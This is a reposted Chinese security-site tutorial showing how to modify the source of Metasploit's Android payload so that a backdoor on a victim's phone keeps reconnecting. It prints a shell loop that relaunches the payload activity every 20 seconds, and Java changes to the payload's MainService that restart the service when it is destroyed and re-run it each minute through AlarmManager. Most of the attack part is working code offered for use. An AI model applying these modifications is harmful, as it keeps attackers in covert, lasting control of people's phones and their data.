IT学习网 - 爱学习 - 最具影响力综合资讯网站 -- 中国IT界的领航者!
热门关键字:      88888  as  xxx
站外
广告
站外
广告

修改Metasploit安卓Payload源码以实现持久化访问

发布时间:2017-07-27 13:50文章来源:互联网文章作者: 互联网点击次数:
* 本文作者:xiaohuanshu,本文属FreeBuf原创奖励计划,未经许可禁止转载 Metasploit-Payload是广泛使用的安卓后门之一,然而无论是直接使用msfvenom生成的apk文件,还是通过其他手段将payload注入到已有apk中,其连接稳定性都非常差,基本在APP启动的一刹那
* 本文作者:xiaohuanshu,本文属FreeBuf原创奖励计划,未经许可禁止转载 Metasploit-Payload是广泛使用的安卓后门之一,然而无论是直接使用msfvenom生成的apk文件,还是通过其他手段将payload注入到已有apk中,其连接稳定性都非常差,基本在APP启动的一刹那可以建立连接,如果网络不稳定,中断后不会再次连接。本文将通过直接修改安卓payload源码已实现持久化访问。

分析

Metasploit安卓payload所建立的sessions连接非常不稳定,国内外高人想出了很多解决方案,目前最普遍的方案是在连接建立时,在目标机器上执行以下脚本: #!/bin/bash while true do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity sleep 20 done 但是这种方案有个前提就是需要连接成功的建立,否则脚本根本无法执行,而且笔者在测试这段脚本在有些情况下会有权限错误,所以并不是最好的解决方案。随着笔者对Metasploit安卓payload更深入的研究,发现Payload源码是可以修改的,而且非常容易。Metasploit安卓payload的源码托管在https://github.com/rapid7/metasploit-payloads/ 中的java目录下。通过分析源码发现,Payload代码主要通过注册的安卓服务com.metasploit.stage.MainService执行,其相关代码如下: public class MainService extends Service { public static void startService(Context context) { context.startService(new Intent(context, MainService.class)); } @Override public IBinder onBind(Intent intent) { return null; } @Override public int onStartCommand(Intent intent, int flags, int startId) { Payload.start(this); return START_STICKY; } } 服务启动时会执行Payload.start(this);这里才会执行Payload的关键代码。那么其实想要实现Payload的持久化访问,就是一个在安卓开发中非常常见的一个话题,如何让Service长久的运行,并且要让Payload.start()不断地执行。经过一番调查,笔者最终选择添加以下功能:
  1. 在Service销毁时自动重启
  2. 添加AlarmManager使Service定时执行

源码修改

要想让Service销毁时自动重启,我们可以重写Service类中的onDestroy方法,定位到文件androidpayload/app/src/com/metasploit/stage/MainService.java,在MainService类中添加以下代码: @Override public void onDestroy() { Intent localIntent = new Intent(); localIntent.setClass(this, MainService.class); this.startService(localIntent); } 经过笔者实测,有了这段代码,当在手机上关闭App时,Payload连接会断开并重新建立。然而这种方式还是不完美,Payload断开服务并不会结束,不会调用onDestroy方法,服务也不会重新执行,所以我们通过添加AlarmManager使Service定时执行。还是在MainService类中,我们修改onStartCommand方法: @Override public int onStartCommand(Intent intent, int flags, int startId) { Payload.start(this); AlarmManager manager = (AlarmManager) getSystemService(ALARM_SERVICE); int restarttime = 60 * 1000; // one minute long triggerAtTime = SystemClock.elapsedRealtime() + restarttime; Intent i = new Intent("METASPLOIT"); PendingIntent pi = PendingIntent.getBroadcast(this, 0, i, 0); manager.set(AlarmManager.ELAPSED_REALTIME_WAKEUP, triggerAtTime, pi); return START_STICKY; }
修改Metasploit安卓Payload源码以实现持久化访问
本文由 IT学习网 整理,转载请注明“转自IT学习网”,并附上链接。
原文链接:http://www.ourlove520.com/Article/netsafe/gongju/1019521.html

标签分类:

上一篇:上一篇:基于Tor的通讯软件Briar:断网也能用的通信软件
下一篇: 下一篇:没有了
无觅关联推荐,快速提升流量